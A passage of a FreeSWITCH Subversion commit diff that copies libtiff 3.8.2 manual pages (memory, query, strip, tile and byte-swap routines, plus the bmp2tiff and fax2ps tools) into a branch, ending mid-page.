+.BI "int _TIFFmemcmp(const tdata_t " s1 ", const tdata_t "s2 ", tsize_t " n ");"
+.SH DESCRIPTION
+These routines are provided for writing portable software that uses 
+.IR libtiff ;
+they hide any memory-management related issues, such as dealing with segmented
+architectures found on 16-bit machines.
+.PP
+.I _TIFFmalloc
+and
+.I _TIFFrealloc
+are used to dynamically allocate and reallocate memory used by 
+.IR libtiff ;
+such as memory passed into the I/O routines. Memory allocated through these
+interfaces is released back to the system using the
+.I _TIFFfree
+routine.
+.PP
+Memory allocated through one of the above interfaces can be set to a known
+value using
+.IR _TIFFmemset ,
+copied to another memory location using
+.IR _TIFFmemcpy ,
+or compared for equality using 
+.IR _TIFFmemcmp .
+These routines conform to the equivalent
+.SM ANSI
+C routines: 
+.IR memset ,
+.IR memcpy ,
+and
+.IR memcmp ,
+repsectively.
+.SH DIAGNOSTICS
+None.
+.SH "SEE ALSO"
+.BR malloc (3),
+.BR memory (3),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFquery.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFquery.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFquery.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFquery.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFquery.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,142 @@
+.\" $Id: TIFFquery.3tiff,v 1.1 2004/11/11 14:39:16 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH QUERY 3TIFF "October 29, 2004" "libtiff"
+.SH NAME
+TIFFCurrentRow,
+TIFFCurrentStrip,
+TIFFCurrentTile,
+TIFFCurrentDirectory,
+TIFFLastDirectory,
+TIFFFileno,
+TIFFFileName,
+TIFFGetMode,
+TIFFIsTiled,
+TIFFIsByteSwapped,
+TIFFIsUpSampled,
+TIFFIsMSB2LSB,
+TIFFGetVersion
+\- query routines
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "uint32 TIFFCurrentRow(TIFF* " tif ")"
+.br
+.BI "tstrip_t TIFFCurrentStrip(TIFF* " tif ")"
+.br
+.BI "ttile_t TIFFCurrentTile(TIFF* " tif ")"
+.br
+.BI "tdir_t TIFFCurrentDirectory(TIFF* " tif ")"
+.br
+.BI "int TIFFLastDirectory(TIFF* " tif ")"
+.br
+.BI "int TIFFFileno(TIFF* " tif ")"
+.br
+.BI "char* TIFFFileName(TIFF* " tif ")"
+.br
+.BI "int TIFFGetMode(TIFF* " tif ")"
+.br
+.BI "int TIFFIsTiled(TIFF* " tif ")"
+.br
+.BI "int TIFFIsByteSwapped(TIFF* " tif ")"
+.br
+.BI "int TIFFIsUpSampled(TIFF* " tif ")"
+.br
+.BI "int TIFFIsMSB2LSB(TIFF* " tif ")"
+.br
+.BI "const char* TIFFGetVersion(void)"
+.SH DESCRIPTION
+The following routines return status information about an open
+.SM TIFF
+file.
+.PP
+.IR TIFFCurrentDirectory
+returns the index of the current directory (directories are numbered starting
+at 0). This number is suitable for use with the
+.IR TIFFSetDirectory
+routine.
+.PP
+.IR TIFFLastDirectory
+returns a non-zero value if the current directory is the last directory in the
+file; otherwise zero is returned.
+.PP
+.IR TIFFCurrentRow ,
+.IR TIFFCurrentStrip ,
+and
+.IR TIFFCurrentTile ,
+return the current row, strip, and tile, respectively, that is being read or
+written. These values are updated each time a read or write is done.
+.PP
+.IR TIFFFileno
+returns the underlying file descriptor used to access the 
+.SM TIFF
+image in the filesystem.
+.PP
+.IR TIFFFileName
+returns the pathname argument passed to
+.IR TIFFOpen
+or
+.IR TIFFFdOpen .
+.PP
+.IR TIFFGetMode
+returns the mode with which the underlying file was opened. On
+.SM UNIX
+systems, this is the value passed to the
+.IR open (2)
+system call.
+.PP
+.IR TIFFIsTiled
+returns a non-zero value if the image data has a tiled organization. Zero is
+returned if the image data is organized in strips.
+.PP
+.IR TIFFIsByteSwapped
+returns a non-zero value if the image data was in a different byte-order than
+the host machine. Zero is returned if the TIFF file and local host byte-orders
+are the same.  Note that TIFFReadTile(), TIFFReadStrip() and
+TIFFReadScanline() functions already normally perform byte swapping to local
+host order if needed.
+.PP
+.I TIFFIsUpSampled
+returns a non-zero value if image data returned through the read interface
+routines is being up-sampled. This can be useful to applications that want to
+calculate I/O buffer sizes to reflect this usage (though the usual strip and
+tile size routines already do this).
+.PP
+.I TIFFIsMSB2LSB
+returns a non-zero value if the image data is being returned with bit 0 as the
+most significant bit.
+.PP
+.IR TIFFGetVersion
+returns an
+.SM ASCII
+string that has a version stamp for the 
+.SM TIFF
+library software.
+.SH DIAGNOSTICS
+None.
+.SH "SEE ALSO"
+.IR libtiff (3TIFF),
+.IR TIFFOpen (3TIFF),
+.IR TIFFFdOpen (3TIFF)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFsize.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFsize.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFsize.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFsize.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFsize.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+.\" $Id: TIFFsize.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFSIZE 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFScanlineSize, TIFFRasterScanlineSize,
+\- return the size of various items associated with an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFRasterScanlineSize(TIFF *" tif ")"
+.br
+.BI "tsize_t TIFFScanlineSize(TIFF *" tif ")"
+.SH DESCRIPTION
+.I TIFFScanlineSize
+returns the size in bytes of a row of data as it would be returned in a call
+to
+.IR TIFFReadScanline ,
+or as it would be expected in a call to
+.IR TIFFWriteScanline .
+.PP
+.I TIFFRasterScanlineSize
+returns the size in bytes of a complete decoded and packed raster scanline.
+Note that this value may be different from the value returned by
+.I TIFFScanlineSize
+if data is stored as separate planes.
+.SH DIAGNOSTICS
+None.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadScanline (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFstrip.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFstrip.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFstrip.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFstrip.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFstrip.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,99 @@
+.\" $Id: TIFFstrip.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1992-1997 Sam Leffler
+.\" Copyright (c) 1992-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFSTRIP 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFDefaultStripSize, TIFFStripSize, TIFFVStripSize, TIFFRawStripSize,
+TIFFComputeStrip, TIFFNumberOfStrips \- strip-related utility routines
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "uint32 TIFFDefaultStripSize(TIFF *" tif ", uint32 " estimate ")"
+.br
+.BI "tsize_t TIFFStripSize(TIFF *" tif ")"
+.br
+.BI "tsize_t TIFFVStripSize(TIFF *" tif ", uint32 " nrows ")"
+.br
+.BI "tsize_t TIFFRawStripSize(TIFF *" tif ", tstrip_t " strip ")"
+.br
+.BI "tstrip_t TIFFComputeStrip(TIFF *" tif ", uint32 " row ", tsample_t " sample ")"
+.br
+.BI "tstrip_t TIFFNumberOfStrips(TIFF *" tif ")"
+.SH DESCRIPTION
+.I TIFFDefaultStripSize
+returns the number of rows for a reasonable-sized strip according to the
+current settings of the
+.IR ImageWidth ,
+.IR BitsPerSample ,
+.IR SamplesPerPixel ,
+tags and any compression-specific requirements. If the
+.I estimate
+parameter, if non-zero, then it is taken as an estimate of the desired strip
+size and adjusted according to any compression-specific requirements. The
+value returned by this function is typically used to define the
+.I RowsPerStrip
+tag. In lieu of any unusual requirements
+.I TIFFDefaultStripSize
+tries to create strips that have approximately
+8 kilobytes of uncompressed data.
+.PP
+.IR TIFFStripSize
+returns the equivalent size for a strip of data as it would be returned in a
+call to
+.IR TIFFReadEncodedStrip
+or as it would be expected in a call to
+.IR TIFFWriteEncodedStrip .
+.PP
+.I TIFFVStripSize
+returns the number of bytes in a strip with
+.I nrows
+rows of data.
+.PP
+.I TIFFRawStripSize
+returns the number of bytes in a raw strip (i.e. not decoded).
+.PP
+.IR TIFFComputeStrip
+returns the strip that contains the specified coordinates. A valid strip is
+always returned; out-of-range coordinate values are clamped to the bounds of
+the image. The
+.I row
+parameter is always used in calculating a strip. The
+.I sample
+parameter is used only if data are organized in separate planes (\c
+.IR PlanarConfiguration =2).
+.PP
+.IR TIFFNumberOfStrips
+returns the number of strips in the image.
+.SH DIAGNOSTICS
+None.
+.SH "SEE ALSO"
+.BR TIFFReadEncodedStrip (3TIFF),
+.BR TIFFReadRawStrip (3TIFF),
+.BR TIFFWriteEncodedStrip (3TIFF),
+.BR TIFFWriteRawStrip (3TIFF),
+.BR libtiff (3TIFF),
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFswab.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFswab.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFswab.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFswab.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFswab.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,80 @@
+.\" $Id: TIFFswab.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH SWAB 3TIFF "November 04, 2004" "libtiff"
+.SH NAME
+TIFFGetBitRevTable, TIFFReverseBits, TIFFSwabShort, TIFFSwabLong,
+TIFFSwabArrayOfShort, TIFFSwabArrayOfLong \- byte- and bit-swapping routines
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "const unsigned char* TIFFGetBitRevTable(int " reversed ")"
+.br
+.BI "void TIFFReverseBits(u_char *" data ", unsigned long " nbytes ")"
+.br
+.BI "void TIFFSwabShort(uint16 *" data ")"
+.br
+.BI "void TIFFSwabLong(uint32 *" data ")"
+.br
+.BI "void TIFFSwabArrayOfShort(uint16 *" data ", unsigned long " nshorts ")"
+.br
+.BI "void TIFFSwabArrayOfLong(uint32 *" data ", unsigned long " nlongs ")"
+.SH DESCRIPTION
+The following routines are used by the library to swap
+16- and 32-bit data and to reverse the order of bits in bytes.
+.PP
+.IR TIFFSwabShort
+and
+.IR TIFFSwabLong
+swap the bytes in a single 16-bit and 32-bit item, respectively.
+.IR TIFFSwabArrayOfShort
+and
+.IR TIFFSwabArrayOfLong
+swap the bytes in an array of 16-bit and 32-bit items, respectively.
+.PP
+.IR TIFFReverseBits
+replaces each byte in
+.I data
+with the equivalent bit-reversed value. This operation is performed with a
+lookup table, which is returned using the
+.IR TIFFGetBitRevTable
+function.
+.I reversed
+parameter specifies which table should be returned. Supply
+.I 1
+if you want bit reversal table. Supply
+.I 0
+to get the table that do not reverse bit values. It is a lookup table that can
+be used as an
+.IR "identity function" ;
+i.e.
+.IR "TIFFNoBitRevTable[n] == n" .
+.SH DIAGNOSTICS
+None.
+.SH "SEE ALSO"
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFtile.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFtile.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFtile.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFtile.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFtile.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,131 @@
+.\" $Id: TIFFtile.3tiff,v 1.2 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFTILE 3TIFF "February 14, 1992" "libtiff"
+.SH NAME
+TIFFTileSize, TIFFTileRowSize, TIFFVTileSize, TIFFDefaultTileSize,
+TIFFComputeTile, TIFFCheckTile, TIFFNumberOfTiles \- tile-related utility
+routines
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "void TIFFDefaultTileSize(TIFF *" tif ", uint32 *" tw ", uint32 *" th ")"
+.br
+.BI "tsize_t TIFFTileSize(TIFF *" tif ")"
+.br
+.BI "tsize_t TIFFTileRowSize(TIFF *" tif ")"
+.br
+.BI "tsize_t TIFFVTileSize(TIFF *" tif ", uint32 " nrows ")"
+.br
+.BI "ttile_t TIFFComputeTile(TIFF *" tif ", uint32 " x ", uint32 " y ", uint32 " z ", tsample_t " sample ")"
+.br
+.BI "int TIFFCheckTile(TIFF *" tif ", uint32 " x ", uint32 " y ", uint32 " z ", tsample_t " sample ")"
+.br
+.BI "ttile_t TIFFNumberOfTiles(TIFF *" tif ")"
+.br
+.SH DESCRIPTION
+.I TIFFDefaultTileSize
+returns the pixel width and height of a reasonable-sized tile; suitable for
+setting up the
+.I TileWidth
+and
+.I TileLength
+tags.
+If the
+.I tw
+and
+.I th
+values passed in are non-zero, then they are adjusted to reflect any
+compression-specific requirements. The returned width and height are
+constrained to be a multiple of 16 pixels to conform with the 
+.SM TIFF
+specification.
+.PP
+.I TIFFTileSize
+returns the equivalent size for a tile of data as it would be returned in a
+call to
+.I TIFFReadTile
+or as it would be expected in a call to
+.IR TIFFWriteTile .
+.PP
+.I TIFFVTileSize
+returns the number of bytes in a row-aligned tile with
+.I nrows
+of data.
+.PP
+.I TIFFTileRowSize
+returns the number of bytes of a row of data in a tile.
+.PP
+.IR TIFFComputeTile
+returns the tile that contains the specified coordinates. A valid tile is
+always returned; out-of-range coordinate values are clamped to the bounds of
+the image. The
+.I x
+and
+.I y
+parameters are always used in calculating a tile. The
+.I z
+parameter is used if the image is deeper than 1 slice (\c
+.IR ImageDepth >1).
+The
+.I sample
+parameter is used only if data are organized in separate planes (\c
+.IR PlanarConfiguration =2).
+.PP
+.IR TIFFCheckTile
+returns a non-zero value if the supplied coordinates are within the bounds of
+the image and zero otherwise. The
+.I x
+parameter is checked against the value of the
+.I ImageWidth
+tag. The
+.I y
+parameter is checked against the value of the
+.I ImageLength
+tag. The
+.I z
+parameter is checked against the value of the
+.I ImageDepth
+tag (if defined). The
+.I sample
+parameter is checked against the value of the
+.I SamplesPerPixel
+parameter if the data are organized in separate planes.
+.PP
+.IR TIFFNumberOfTiles
+returns the number of tiles in the image.
+.SH DIAGNOSTICS
+None.
+.SH "SEE ALSO"
+.BR TIFFReadEncodedTile (3TIFF),
+.BR TIFFReadRawTile (3TIFF),
+.BR TIFFReadTile (3TIFF),
+.BR TIFFWriteEncodedTile (3TIFF),
+.BR TIFFWriteRawTile (3TIFF),
+.BR TIFFWriteTile (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/bmp2tiff.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/bmp2tiff.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/bmp2tiff.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/bmp2tiff.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/bmp2tiff.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,82 @@
+.\" $Id: bmp2tiff.1,v 1.6 2006/03/23 14:54:02 dron Exp $
+.\"
+.\" Copyright (c) 2004, Andrey Kiselev <dron@ak4719.spb.edu> 
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH BMP2TIFF 1 "15 October, 2004" "libtiff"
+.SH NAME
+bmp2tiff \- create a
+.SM TIFF
+file from a Microsoft Windows Device Independent Bitmap image file
+.SH SYNOPSIS
+.B bmp2tiff
+[
+.I options
+]
+.I input.bmp [input2.bmp ...]
+.I output.tiff
+.SH DESCRIPTION
+.I bmp2tiff
+converts a Microsoft Windows Device Independent Bitmap image file to
+.SM TIFF.
+If several input BMP files are being specified the multipage
+.SM TIFF
+output file will be created. By default, the
+.SM TIFF
+image is created with data samples packed (\c
+.IR PlanarConfiguration =1),
+compressed with the PackBits algorithm (\c
+.IR Compression = 32773),
+and with each strip no more than 8 kilobytes.
+These characteristics can overridden, or explicitly specified
+with the options described below.
+.SH OPTIONS
+.TP
+.B \-c
+Specify a compression scheme to use when writing image data:
+.B "\-c none"
+for no compression,
+.B "-c packbits"
+for the PackBits compression algorithm (the default),
+.B "-c jpeg"
+for the baseline JPEG compression algorithm,
+.B "-c zip
+for the Deflate compression algorithm,
+and
+.B "\-c lzw"
+for Lempel-Ziv & Welch.
+.TP
+.B \-r <number>
+Write data with a specified number of rows per strip;
+by default the number of rows/strip is selected so that each strip
+is approximately 8 kilobytes.
+.SH "SEE ALSO"
+.BR gif2tiff (1),
+.BR pal2rgb (1),
+.BR ppm2tiff (1),
+.BR raw2tiff (1),
+.BR ras2tiff (1),
+.BR sgi2tiff (1),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/fax2ps.1

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/fax2ps.1 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/fax2ps.1) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/fax2ps.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/fax2ps.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,158 @@
+.\"	$Id: fax2ps.1,v 1.3 2005/11/02 11:07:19 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH FAX2PS 1 "November 2, 2005" "libtiff"
+.SH NAME
+fax2ps \- convert a
+.SM TIFF
+facsimile to compressed \*(Ps\(tm
+.SH SYNOPSIS
+.B fax2ps
+[
+.I options
+] [
+.IR file ...
+]
+.SH DESCRIPTION
+.I fax2ps
+reads one or more
+.SM TIFF
+facsimile image files and prints a compressed form of
+\*(Ps on the standard output that is suitable for printing.
+.PP
+By default, each page is scaled to reflect the
+image dimensions and resolutions stored in the file.
+The
+.B \-x
+and
+.B \-y
+options can be used to specify the horizontal and vertical
+image resolutions (lines/inch), respectively.
+If the
+.B \-S
+option is specified, each page is scaled to fill an output page.
+The default output page is 8.5 by 11 inches.
+Alternate page dimensions can be specified in inches with the
+.B \-W
+and
+.B \-H
+options.
+.PP
+By default
+.I fax2ps
+generates \*(Ps for all pages in the file.
+The
+.B \-p
+option can be used to select one or more pages from
+a multi-page document.
+.PP
+.I fax2ps
+generates a compressed form of \*(Ps that is
+optimized for sending pages of text to a \*(Ps
+printer attached to a host through a low-speed link (such
+as a serial line).
+Each output page is filled with white and then only
+the black areas are drawn.
+The \*(Ps specification of the black drawing operations
+is optimized by using a special font that encodes the
+move-draw operations required to fill
+the black regions on the page.
+This compression scheme typically results in a substantially
+reduced \*(Ps description, relative to the straightforward
+imaging of the page with a \*(Ps
+.I image
+operator.
+This algorithm can, however, be ineffective
+for continuous-tone and white-on-black images.
+For these images, it sometimes is more efficient to send
